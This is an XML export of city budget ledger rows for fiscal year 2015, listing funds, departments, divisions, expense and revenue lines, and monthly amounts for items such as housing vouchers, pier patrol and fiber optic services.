<row _id="17967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FRAUD RECOVERY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1904</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1904</total></row>
<row _id="17969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="17970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577344.0</object><object_description>HAP-VOUCHER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12442164</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12442164</total></row>
<row _id="17971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18703</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18703</total></row>
<row _id="17972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9878</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9878</total></row>
<row _id="17973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>875</total></row>
<row _id="17974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6969</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6969</total></row>
<row _id="17975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1680</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1680</total></row>
<row _id="17976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2782</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2782</total></row>
<row _id="17977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560050.0</object><object_description>TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35200</total></row>
<row _id="17978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-38189</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-38189</total></row>
<row _id="17979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-22543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22543</total></row>
<row _id="17980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-22373</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22373</total></row>
<row _id="17981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11510</total></row>
<row _id="17982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-20481</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20481</total></row>
<row _id="17983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3248</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3248</total></row>
<row _id="17984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511018.0</object><object_description>PERMANENT EMPLOY SWORN FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>886052</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>886052</total></row>
<row _id="17986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12848</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12848</total></row>
<row _id="17987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1029</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1029</total></row>
<row _id="17988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5799</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5799</total></row>
<row _id="17989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2625</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2625</total></row>
<row _id="17990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579250.0</object><object_description>GEOGRAPHIC INFORMATION SYSTEM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>31000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31000</total></row>
<row _id="17991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401780.0</object><object_description>PICNIC AREA PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11000</total></row>
<row _id="17992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577346.0</object><object_description>HAP PORT-IN</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>333600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>333600</total></row>
<row _id="17993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4744</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4744</total></row>
<row _id="17994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562190.0</object><object_description> CLARE CLARITY FOR YOUTH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>41651</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41651</total></row>
<row _id="17995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11988</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11988</total></row>
<row _id="17996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6640</total></row>
<row _id="17997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405351.0</object><object_description>PRIVATE HAULER ANN. PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-26100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-26100</total></row>
<row _id="17998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405352.0</object><object_description>PRIVATE HAULER PER TON PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-136000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-136000</total></row>
<row _id="17999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569222.0</object><object_description>RUSKIN GROUP THEATRE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16000</total></row>
<row _id="18000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>638</total></row>
<row _id="18001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408260.0</object><object_description>AHPP COMP MONITOR-ANNUAL FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-145000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-145000</total></row>
<row _id="18002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8500</total></row>
<row _id="18003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-1608</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1608</total></row>
<row _id="18004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>314</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>314</total></row>
<row _id="18005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>266117</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>266117</total></row>
<row _id="18006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>578420.0</object><object_description>POLICE PIER PATROL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>381960</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>381960</total></row>
<row _id="18007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3862</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3862</total></row>
<row _id="18008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="18010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408290.0</object><object_description>FIRE SAFETY OFFICER ASSIGN FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-400000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-400000</total></row>
<row _id="18012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>305</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>305</total></row>
<row _id="18013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408340.0</object><object_description>URBAN RUNOFF MIT. INSP. ONSITE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-25000</total></row>
<row _id="18014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>407780.0</object><object_description>FIBER OPTIC SERVICES</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-2000000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2000000</total></row>
<row _id="18015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>588030.0</object><object_description>COMPUTER EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>75000</total></row>
